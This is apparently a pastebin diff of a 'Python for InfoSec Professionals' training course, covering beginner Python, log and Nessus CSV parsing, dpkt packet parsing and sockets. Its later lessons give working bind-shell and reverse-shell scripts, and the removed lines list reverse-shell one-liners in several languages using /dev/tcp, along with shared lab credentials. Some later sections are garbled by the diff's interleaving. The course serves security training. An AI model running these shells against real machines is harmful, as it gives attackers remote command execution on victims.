View difference between Paste ID: XuXr11jp and Bbtm5hFR

 Python Quizzes:
-# Here is the courseware for this month #
+---------------
 https://www.tutorialspoint.com/python/python_online_quiz.htm
 https://www.geeksforgeeks.org/python-gq/
-Class powerpoint slides:
+https://www.programiz.com/python-programming/quiz
-http://45.63.104.73/PythonV3-1.pptx
+https://www.afterhoursprogramming.com/tutorial/python/python-quiz/
 https://www.sanfoundry.com/1000-python-questions-answers/
 http://www.mypythonquiz.com/
 http://www.techbeamers.com/python-programming-quiz-for-beginners-part-1/
-Courseware Lab Manual
+
-http://45.63.104.73//Python-For-InfoSec-Pros-2015.pdf
+
 
 
-Class Videos:
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-07-31+09.32+Python+for+InfoSec+Professionals.mp4
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-08-01+09.40+Python+for+InfoSec+Professionals.mp4
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-08-02+09.37+Python+for+InfoSec+Professionals.mp4
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-08-03+10.29+Python+for+InfoSec+Professionals.mp4
+
 http://www.python.org/ftp/python/2.7.5/python-2.7.5.msi
 
-Resource files:
+
-http://45.63.104.73/Python4SecurityPros-Files.zip
+
 
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+
-user: infosecaddicts
+
-pass: infosecaddicts
+
 ---------------------------Type This-----------------------------------
 
 Linux
 Debian/Ubuntu:		sudo apt-get install -y python
-The youtube video playlist that I'd like for you to watch is located here:
+
-https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
+
 -----------------------------------------------------------------------
 
-How I did it:
+
 After you install Python in Linux the next thing that you will need to do is install idle.
-Step 1: Watch and do the newboston Python video series twice
+
-https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
+
 
 sudo apt-get install -y idle
-Step 2:  Watch and do the Google Python workshop twice
+
-https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
+
 
 Open IDLE, and let's just dive right in.
-Step 3: Download all of the Python tools from PacketStorm and analyze the source code
+
-https://packetstormsecurity.com/files/tags/python
+
 
 
-Here is the code from Packet Storm
+
-http://45.63.104.73/PythonReferenceCode.zip
+# Python Lesson   1: Simple Printing #
 ######################################
-I went through almost every single file and looked up the code that I didn't understand.
+
-I also asked programmers to help me understand the lines of code that didn't make sense.
+
-In the folder  RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
+
-and explain the tool to me.
+
 >>> print "Today we are learning Python."
-Here is what I got out of doing that:
+
-https://s3.amazonaws.com/infosecaddictsfiles/sorted-commented-python-files.zip
+
 
 
 
-Distilled that into this:
+
-http://45.63.104.73/Python-Courseware.zip
+
 # Python Lesson   2: Simple Numbers and Math #
 ##############################################
 
-                            ##############################
+
------------ ############### # Day 1: Python Fundamentals # ############### -----------
+
-                            ##############################
+
 
 >>> 6-3
 
 >>> 18/7
 
 >>> 18.0/7
 
 >>> 18.0/7.0
 
 >>> 18/7
 
 >>> 9%4
 
 >>> 8%4
 
 >>> 8.75%.5
 
 >>> 6.*7
 
 >>> 6*6*6
 
 >>> 6**3
 
 >>> 5**12
 
 >>> -5**4
 
 
 -----------------------------------------------------------------------
 
 
 
 ################################
 # Python Lesson   3: Variables #
 ################################
 
 ---------------------------Type This-----------------------------------
 
-#Python Lesson   1: Simple Printing #
+
 
 >>> x+15
 
 >>> x**3
 
 >>> y=54
 
 >>> x+y
 
 >>> g=input("Enter number here: ")
     43
 
 >>> g+32
-#Python Lesson   2: Simple Numbers and Math #
+
 >>> g**3
 
 
 -----------------------------------------------------------------------
 
 
 
 
 
 ##########################################
 # Python Lesson 4: Modules and Functions #
 ##########################################
 
 ---------------------------Type This-----------------------------------
 
 >>> 5**4
 
 >>> pow(5,4)
 
 >>> abs(-18)
 
 >>> abs(5)
 
 >>> floor(18.7)
 
 >>> import math
 
 >>> math.floor(18.7)
 
 >>> math.sqrt(81)
 
 >>> joe = math.sqrt
 
 >>> joe(9)
 
 >>> joe=math.floor
 
 >>> joe(19.8)
-#Python Lesson   3: Variables #
+
 
 
 -----------------------------------------------------------------------
 
 
 
 ############################
 # Python Lesson 5: Strings #
 ############################
 
 ---------------------------Type This-----------------------------------
 
 
 >>> "XSS"
 
 >>> 'SQLi'
 
 >>> "Joe's a python lover"
 
 >>> 'Joe\'s a python lover'
 
 >>> "Joe said \"InfoSec is fun\" to me"
 
 >>> a = "Joe"
 
 >>> b = "McCray"
 
 >>> a, b
-###########################################
+
-#Python Lesson   4: Modules and Functions #
+
-###########################################
+
 
 -----------------------------------------------------------------------
 
 
 
 
 
 #################################
 # Python Lesson 6: More Strings #
 #################################
 
 ---------------------------Type This-----------------------------------
 
 
 >>> num = 10
 
 >>> num + 2
 
 >>> "The number of open ports found on this system is " + num
 
 >>> num = str(18)
 
 >>> "There are " + num + " vulnerabilities found in this environment."
 
 >>> num2 = 46
 
 >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
 
 
 -----------------------------------------------------------------------
 
 
 
 
-#Python Lesson   5: Strings #
+
 ########################################
 # Python Lesson 7: Sequences and Lists #
 ########################################
 
 ---------------------------Type This-----------------------------------
 
 >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
 
 >>> attacks
 ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
 
 >>> attacks[3]
 'SQL Injection'
 
 >>> attacks[-2]
 'Cross-Site Scripting'
 
 >>> exit()
 
 -----------------------------------------------------------------------
 
 
 
 
 ##################################
 # Level 8: Intro to Log Analysis #
 ##################################
 
 
 Log into your Linux host then execute the following commands:
 -----------------------------------------------------------------------
-#Python Lesson   6: More Strings #
+
 
 
 
 ---------------------------Type This-----------------------------------
 
 wget http://pastebin.com/raw/85zZ5TZX
 
 mv 85zZ5TZX access_log
 
 
 cat access_log | grep 141.101.80.188
 
 cat access_log | grep 141.101.80.187
 
 cat access_log | grep 108.162.216.204
 
 cat access_log | grep 173.245.53.160
 
 ----------------------------------------------------------------------
 
 
 
 
 
 Google the following terms:
     - Python read file
     - Python read line
-#Python Lesson   7: Sequences and Lists #
+
 
 
 
 
 ###############################################################
 # Python Lesson 9: Use Python to read in a file line by line  #
 ###############################################################
 
 
 Reference:
 http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
 
 
 
 ---------------------------Type This-----------------------------------
 
 nano logread1.py
 
 
 ---------------------------Paste This-----------------------------------
 ## Open the file with read only permit
 f = open('access_log', "r")
-###################################
+
 ## use readlines to read all lines in the file
-###################################
+
 lines = f.readlines()
 
 print lines
 
 
 ## close the file after reading the lines.
 f.close()
 
 ----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 python logread1.py
 ----------------------------------------------------------------------
 
 
 
 Google the following:
     - python difference between readlines and readline
     - python readlines and readline
 
 
 
 
 
 
 
 
 ########################################
 #Python Lesson   10: A quick challenge #
 ########################################
 
 Can you write an if/then statement that looks for this IP and print the log file line that contains the IP address?
 
 
-################################################################
+
-#Python Lesson   9: Use Python to read in a file line by line  #
+
-################################################################
+
 
 
 
 
 ---------------------------------------------------------
 Hint 1: Use Python to look for a value in a list
 
 Reference:
 http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
 
 
 
 
 ---------------------------------------------------------
 Hint 2: Use Python to prompt for user input
 
 Reference:
 http://www.cyberciti.biz/faq/python-raw_input-examples/
 
 
 
 
 ---------------------------------------------------------
 Hint 3: Use Python to search for a string in a list
 
 Reference:
 http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
 
 
 
 
 
 Here is my solution:
 
 ---------------------------Type This-----------------------------------
 
 $ python
 >>> f = open('access_log', "r")
 >>> lines = f.readlines()
 >>> ip = '141.101.81.187'
 >>> for string in lines:
 ...     if ip in string:
 ...             print(string)
 
 ----------------------------------------------------------------------
 
 
 Here is one student's solution - can you please explain each line of this code to me?
 
 
 ---------------------------Type This-----------------------------------
 exit()
 nano ip_search.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/python
 
 f = open('access_log')
 
 strUsrinput = raw_input("Enter IP Address: ")
 
 for line in iter(f):
     ip = line.split(" - ")[0]
     if ip == strUsrinput:
         print line
 
 f.close()
 
 ----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 python ip_search.py
 ----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 Working with another student after class we came up with another solution:
 
 ---------------------------Type This-----------------------------------
 nano ip_search2.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/env python
 
 
 # This line opens the log file
 f=open('access_log',"r")
 
 # This line takes each line in the log file and stores it as an element in the list
 lines = f.readlines()
 
 
 # This lines stores the IP that the user types as a var called userinput
 userinput = raw_input("Enter the IP you want to search for: ")
 
 
 
 # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
 for ip in lines:
     if ip.find(userinput) != -1:
         print ip
 
 ----------------------------------------------------------------------
 
 
 
 ---------------------------Type This-----------------------------------
 python ip_search2.py
 ----------------------------------------------------------------------
 
 
 #################################################
 # Lesson 14: Look for web attacks in a log file #
 #################################################
 
 In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
 Supported attacks:
 1.	    SQL Injection
 2.	    Local File Inclusion
 3.	    Remote File Inclusion
 4.	    Cross-Site Scripting
 
 
 ---------------------------Type This-----------------------------------
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/scan_log.py
 
 ----------------------------------------------------------------------
 
 The usage for scan_log.py is simple.  You feed it an apache log file.
 
 ---------------------------Type This-----------------------------------
 
 cat scan_log.py | less			(use your up/down arrow keys to look through the file)
 
 ----------------------------------------------------------------------
 
 Explain to me how this script works.
 
 
 
 ################################
 # Lesson 15: Parsing CSV Files #
 ################################
 
 Dealing with csv files
 
 Reference:
 http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
 
 Type the following commands:
 ---------------------------------------------------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/class_nessus.csv
 
 ----------------------------------------------------------------------
 
 Example 1 - Reading CSV files
 -----------------------------
 #To be able to read csv formated files, we will first have to import the
 #csv module.
 
 
 ---------------------------Type This-----------------------------------
 python
 import csv
 with open('class_nessus.csv', 'rb') as f:
-##################################################
+
-# Lession 14: Look for web attacks in a log file #
+
-##################################################
+
 
 
 ----------------------------------------------------------------------
 
 
 
 
 Example 2 - Reading CSV files
 -----------------------------
 
 ---------------------------Type This-----------------------------------
-wget http://45.63.104.73/scan_log.py
+
 vi readcsv.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/python
 import csv     				# imports the csv module
 import sys      			# imports the sys module
 
 f = open(sys.argv[1], 'rb') 		# opens the csv file
 try:
     reader = csv.reader(f)  		# creates the reader object
     for row in reader:   		# iterates the rows of the file in orders
         print row    			# prints each row
 finally:
     f.close()      			# closing
 
 
 
 ----------------------------------------------------------------------
 
 
 
 Ok, now let's run this thing.
 
 --------------------------Type This-----------------------------------
 python readcsv.py
 
 python readcsv.py class_nessus.csv
 ----------------------------------------------------------------------
 
-wget http://45.63.104.73/class_nessus.csv
+
 
 
 
 Example 3 - - Reading CSV files
 -------------------------------
 
 ---------------------------Type This-----------------------------------
 
 vi readcsv2.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/python
 # This program will then read it and displays its contents.
 
 
 import csv
 
 ifile  = open('class_nessus.csv', "rb")
 reader = csv.reader(ifile)
 
 rownum = 0
 for row in reader:
     # Save header row.
     if rownum == 0:
         header = row
     else:
         colnum = 0
         for col in row:
             print '%-8s: %s' % (header[colnum], col)
             colnum += 1
 
     rownum += 1
 
 ifile.close()
 
 
 ----------------------------------------------------------------------
 
 
 
 ---------------------------Type This-----------------------------------
 
 python readcsv2.py | less
 
 
 ----------------------------------------------------------------------
 
 
 
 
 
 /---------------------------------------------------/
 --------------------PARSING CSV FILES----------------
 /---------------------------------------------------/
 
 -------------TASK 1------------
 
 ---------------------------Type This-----------------------------------
 
 vi readcsv3.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/python
 import csv
 f = open('class_nessus.csv', 'rb')
 try:
     rownum = 0
     reader = csv.reader(f)
     for row in reader:
          #Save header row.
         if rownum == 0:
             header = row
         else:
             colnum = 0
             if row[3].lower() == 'high':
                 print '%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
         rownum += 1
 finally:
     f.close()
 
 -----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 python readcsv3.py | less
 -----------------------------------------------------------------------
 
 -------------TASK 2------------
 
 ---------------------------Type This-----------------------------------
 
 vi readcsv4.py
 -----------------------------------------------------------------------
 
 ---------------------------Paste This-----------------------------------
 
 #!/usr/bin/python
 import csv
 f = open('class_nessus.csv', 'rb')
 try:
     print '/---------------------------------------------------/'
     rownum = 0
     hosts = {}
     reader = csv.reader(f)
     for row in reader:
         # Save header row.
         if rownum == 0:
             header = row
         else:
             colnum = 0
             if row[3].lower() == 'high' and row[4] not in hosts:
                 hosts[row[4]] = row[4]
                 print '%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
         rownum += 1
 finally:
     f.close()
 
 
 python readcsv4.py | less
 
 ----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 #################################################
 # Lesson 16: Parsing Packets with Python's DPKT #
 #################################################
 The first thing that you will need to do is install dpkt.
 
 ---------------------------Type This-----------------------------------
 
 
 sudo apt-get install -y python-dpkt
 
 ----------------------------------------------------------------------
 
 
 
 Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
 Run tcpdump to capture a .pcap file that we will use for the next exercise
 
 ---------------------------Type This-----------------------------------
 
 sudo tcpdump -ni eth0 -s0 -w quick.pcap
 
 ----------------------------------------------------------------------
 
 --open another command prompt--
 
 ---------------------------Type This-----------------------------------
 
 
 wget http://packetlife.net/media/library/12/tcpdump.pdf
 
 ----------------------------------------------------------------------
 
 Let's do something simple:
 
 ---------------------------Type This-----------------------------------
 
 
 vi quickpcap.py
 
 ---------------------------Paste This-----------------------------------
 
 #!/usr/bin/python
 import dpkt;
 
 # Simple script to read the timestamps in a pcap file
 # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
 
 f = open("quick.pcap","rb")
 pcap = dpkt.pcap.Reader(f)
 
 for ts, buf in pcap:
 	print ts;
 
 f.close();
 
 
 ----------------------------------------------------------------------
 
 
 Now let's run the script we just wrote
 
 ---------------------------Type This-----------------------------------
 
 python quickpcap.py
 
 ----------------------------------------------------------------------
 
 
 
 How dpkt breaks down a packet:
 
 Reference:
 http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
-sudo tcpdump -ni ens3 -s0 -w quick.pcap
+
     src: the MAC address of SOURCE.
     dst: The MAC address of DESTINATION
     type: The protocol type of contained ethernet payload.
 
 The allowed values are listed in the file "ethernet.py",
 such as:
 a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
 b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
 
 
 References:
 http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
 
 
 
 
 
 
 Ok - now let's have a look at pcapparsing.py
 
 ---------------------------Type This-----------------------------------
 
 
 sudo tcpdump -ni eth0 -s0 -w capture-100.pcap
 
 ----------------------------------------------------------------------
 
 --open another command prompt--
 
 ---------------------------Type This-----------------------------------
 
 
 wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
 
 ----------------------------------------------------------------------
 
 
 Ok - now let's have a look at pcapparsing.py
 
 
 --------------------------------------------------------------
 
 
 import socket
 import dpkt
 import sys
 f = open('capture-100.pcap','r')
 pcapReader = dpkt.pcap.Reader(f)
 
 for ts,data in pcapReader:
     ether = dpkt.ethernet.Ethernet(data)
     if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
     ip = ether.data
     tcp = ip.data
     src = socket.inet_ntoa(ip.src)
     srcport = tcp.sport
     dst = socket.inet_ntoa(ip.dst)
     dstport = tcp.dport
     print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
 
 f.close()
 
 ----------------------------------------------------------------------
 
 
 
 OK - let's run it:
 
 ---------------------------Type This-----------------------------------
 
 python pcapparsing.py
 
 ----------------------------------------------------------------------
 
 
 running this script might throw an error like this:
 
-sudo tcpdump -ni ens3 -s0 -w capture-100.pcap
+
   File "pcapparsing.py", line 9, in <module>
     if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
 
 
 If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
 
 
 
 
 Your homework for today...
 
 
 Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
 
 
 
 
 
 
 Your challenge is to fix the Traceback error
 
 ---------------------------Paste This-----------------------------------
 
 #!/usr/bin/python
 
 import pcapy
 import dpkt
 import sys
 import socket
 import struct
 
 SINGLE_SHOT = False
 
 # list all the network devices
 pcapy.findalldevs()
 
 iface = "eth0"
 filter = "arp"
 max_bytes = 1024
 promiscuous = False
 read_timeout = 100 # in milliseconds
 
 pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
 pc.setfilter( filter )
 
 # callback for received packets
 def recv_pkts( hdr, data ):
     packet = dpkt.ethernet.Ethernet( data )
 
     print type( packet.data )
     print "ipsrc: %s, ipdst: %s" %( \
                  socket.inet_ntoa( packet.data.spa ), \
                  socket.inet_ntoa( packet.data.tpa ) )
 
     print "macsrc: %s, macdst: %s " % (
                 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
                 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
 
 if SINGLE_SHOT:
     header, data = pc.next()
     sys.exit(0)
 else:
     packet_limit = -1 # infinite
     pc.loop( packet_limit, recv_pkts ) # capture packets
 
 ----------------------------------------------------------------------
 
 Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
 
 Running the current version of the script may give you an error like this:
 
 Traceback (most recent call last):
   File "pcapparsing.py", line 9, in <module>
     if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
 
 
 If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
 
 Your challenge task is to fix the Traceback error
 
 #############################################
 # Lesson 17: Python Sockets & Port Scanning #
 #############################################
 
 ---------------------------Type This-----------------------------------
 
 $ sudo /sbin/iptables -F
 
 $ ncat -l -v -p 1234
 
-iface = "ens3"
+
 
 
 
 --open another terminal--
 
 ---------------------------Type This-----------------------------------
 
 python
 
 >>> import socket
 >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 >>> s.connect(('localhost', 1234))
 >>> s.send('Hello, world')
 >>> data = s.recv(1024)
 >>> s.close()
 
 >>> print 'Received', data
 
 
 ----------------------------------------------------------------------
 
 
 
 
 ########################################
 # Lesson 18: TCP Client and TCP Server #
 ########################################
 
 ---------------------------Type This-----------------------------------
 
 
 vi tcpclient.py
-# Day 1 Homework videos to watch #
+
 ---------------------------Paste This-----------------------------------
-Here is your first set of youtube videos that I'd like for you to watch:
+
-https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
+
 #!/usr/bin/python
-How to install idle in Mac OS X:
+
-https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
+
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 hostport = ("127.0.0.1", 1337)
 s.connect(hostport)
-# Day 1 Challenge task #
+
 buf = s.recv(1024)
 print "Received", buf
 
 
 
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 
 
 
 vi tcpserver.py
 
 
 ---------------------------Paste This-----------------------------------
 
 
 #!/usr/bin/python
 # tcpserver.py
 
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 hostport = ("", 1337)
 s.bind(hostport)
 s.listen(10)
 while 1:
 	cli,addr = s.accept()
 	print "Connection from", addr
 	buf = cli.recv(1024)
-                            #################################
+
------------ ############### # Day 2: Python sockets & Scapy # ############### -----------
+
-                            #################################
+
 	cli.close()
 
 
 
 
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 
 python tcpserver.py
 
 
 --open another terminal--
 python tcpclient.py
 
 ----------------------------------------------------------------------
 
 ########################################
 # Lesson 19: UDP Client and UDP Server #
 ########################################
 
 ---------------------------Type This-----------------------------------
 
 vi udpclient.py
 
 
 
 ---------------------------Paste This-----------------------------------
 
 
 
 #!/usr/bin/python
 # udpclient.py
 
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 hostport = ("127.0.0.1", 1337)
 s.sendto("Hello\n", hostport)
 buf = s.recv(1024)
 print buf
 
 
 
 ----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 
 
 vi udpserver.py
 
 
 ---------------------------Paste This-----------------------------------
 
 
 
 
 #!/usr/bin/python
 # udpserver.py
 
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 hostport = ("127.0.0.1", 1337)
 s.bind(hostport)
 while 1:
 	buf, address = s.recvfrom(1024)
 	print buf
 	if buf == "Hello\n":
 		s.sendto("Server ID 1\n", address)
 
 
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 
 
 python udpserver.py
 
 
 --open another terminal--
 python udpclient.py
 
 ----------------------------------------------------------------------
 
 
 ######################################
 # Lesson 20: Bind and Reverse Shells #
 ######################################
 
 ---------------------------Type This-----------------------------------
 
 
 vi simplebindshell.py
 
 ---------------------------Paste This-----------------------------------
 
 #!/bin/python
 import os,sys,socket
 
 ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
 print '-Creating socket..'
 port = 31337
 try:
 	ls.bind(('', port))
 	print '-Binding the port on '
 	ls.listen(1)
 	print '-Listening, '
 	(conn, addr) = ls.accept()
 	print '-Waiting for connection...'
 	cli= conn.fileno()
 	print '-Redirecting shell...'
 	os.dup2(cli, 0)
 	print 'In, '
 	os.dup2(cli, 1)
 	print 'Out, '
 	os.dup2(cli, 2)
 	print 'Err'
 	print 'Done!'
 	arg0='/bin/sh'
 	arg1='-a'
 	args=[arg0]+[arg1]
 	os.execv(arg0, args)
 except(socket.error):
 	print 'fail\n'
 	conn.close()
 	sys.exit(1)
 
 ----------------------------------------------------------------------
 
 
 
 ---------------------------Type This-----------------------------------
 
 nc TARGETIP 31337
 
 ----------------------------------------------------------------------
 
 
 ---------------------
 Preparing the target for a reverse shell
 
 ---------------------------Type This-----------------------------------
 
 $ ncat -lvp 4444
 
 --open another terminal--
 wget https://www.trustedsec.com/files/simple_py_shell.py
 
 vi simple_py_shell.py
 
 
 
 ----------------------------------------------------------------------
 
 
 
 -------------------------------
 Tricky shells
 
 Reference:
 http://securityweekly.com/2011/10/python-one-line-shell-code.html
 http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
 
 
 
 
 ###############################
 # Reverse Shell in Python 2.7 #
 ###############################
 
 We'll create 2 python files. One for the server and one for the client.
 
 - Below is the python code that is running on victim/client Windows machine:
 
 ---------------------------Paste This-----------------------------------
 
 # Client
 
 import socket # For Building TCP Connection
 import subprocess # To start the shell in the system
 
 def connect():
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect(('192.168.243.150',8080))
 
     while True:                         #keep receiving commands
         command = s.recv(1024)
 
         if 'terminate' in command:
             s.close() #close the socket
             break
 
         else:
 
             CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
             s.send( CMD.stdout.read()  )  # send the result
             s.send( CMD.stderr.read()  )  # incase you mistyped a command.
             # we will send back the error
 
 def main ():
     connect()
 main()
 
 
 ----------------------------------------------------------------------
 
 - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
 
 ---------------------------Paste This-----------------------------------
 
 # Server
 
 import socket # For Building TCP Connection
 
 
 def connect ():
 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.bind(("192.168.243.150", 8080))
     s.listen(1)
     conn, addr = s.accept()
     print '[+] We got a connection from:  ', addr
 
 
     while True:
          command = raw_input("Shell> ")
 
          if 'terminate' in command:
              conn.send('termminate')
              conn.close()  # close the connection with host
              break
 
          else:
              conn.send(command)   #send command
              print conn.recv(1024)
 
 def main ():
     connect()
 main()
 
 ----------------------------------------------------------------------
 
 - First run server.py code from Ubuntu machine. From command line type:
 
 ---------------------------Type This-----------------------------------
 
 python server.py
 
 ----------------------------------------------------------------------
 
 - then check if 8080 port is open, and if we are listening on 8080:
 
 ---------------------------Type This-----------------------------------
 
 netstat -antp | grep "8080"
 
 ----------------------------------------------------------------------
 
 - Then on victim ( Windows ) unit run client.py code.
 
 
-What is os.dup2?
+
-https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
+
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ python server.py
 [+] We got a connection from:   ('192.168.243.1', 56880)
 Shell> arp -a
-Lots of reverse shells in different languages
+
----------------------------------------------------------------------
+
 
 Shell> dir
 ----------------------------------------------------------------------
-########
+
-# Bash #
+
-########
+
 # HTTP based reverse shell in Python 2.7 #
 ##########################################
 
 
-bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
+
 - Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
 
 Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
 
-########
+
-# Perl #
+
-########
+
      python -m pip install requests
 
 ----------------------------------------------------------------------
 
-perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
+
 
 - In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
 
-cat perlbackdoor.pl
+
-#!/usr/bin/perl
+
-use Socket;
+
-use FileHandle;
+
-$IP = $ARGV[0];
+
-$PORT = $ARGV[1];
+
-socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
+
-connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
+
-SOCKET->autoflush();
+
-open(STDIN, ">&SOCKET");
+
-open(STDOUT,">&SOCKET");
+
-open(STDERR,">&SOCKET");
+
-system("/bin/sh -i");
+
         break
 
     else:
-##########
+
-# Python #
+
-##########
+
 
     time.sleep(3)
 
-python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
+
 
 
 ----------------------------------------------------------------------
-#######
+
-# Php #
+
-#######
+
 - Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
 
-php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
+
 ---------------------------Paste This-----------------------------------
 
 import BaseHTTPServer
-########
+
-# ruby #
+
-########
+
 
     def do_GET(s):
-ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
+
         s.send_response(200)
         s.send_header("Content-type", "text/html")
         s.end_headers()
         s.wfile.write(command)
-########
+
-# Java #
+
-########
+
         s.send_response(200)
         s.end_headers()
-r = Runtime.getRuntime()
+
-p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
+
-p.waitFor()
+
 
 if __name__ == '__main__':
-exec 5<>/dev/tcp/127.0.0.1/1234
+
     httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
 
-cat <&5 | while read line; do $line 2>&5 >&5; done
+
         httpd.serve_forever()
-exec 5<>/dev/tcp/127.0.0.1/1234
+
         print'[!] Server is terminated'
-while read line 0<&5; do $line 2>&5 >&5; done
+
-0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
+
 ----------------------------------------------------------------------
 
 - run server_HTTP.py on Ubuntu with next command:
-##############
+
-# Powershell #
+
-##############
+
 infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
 
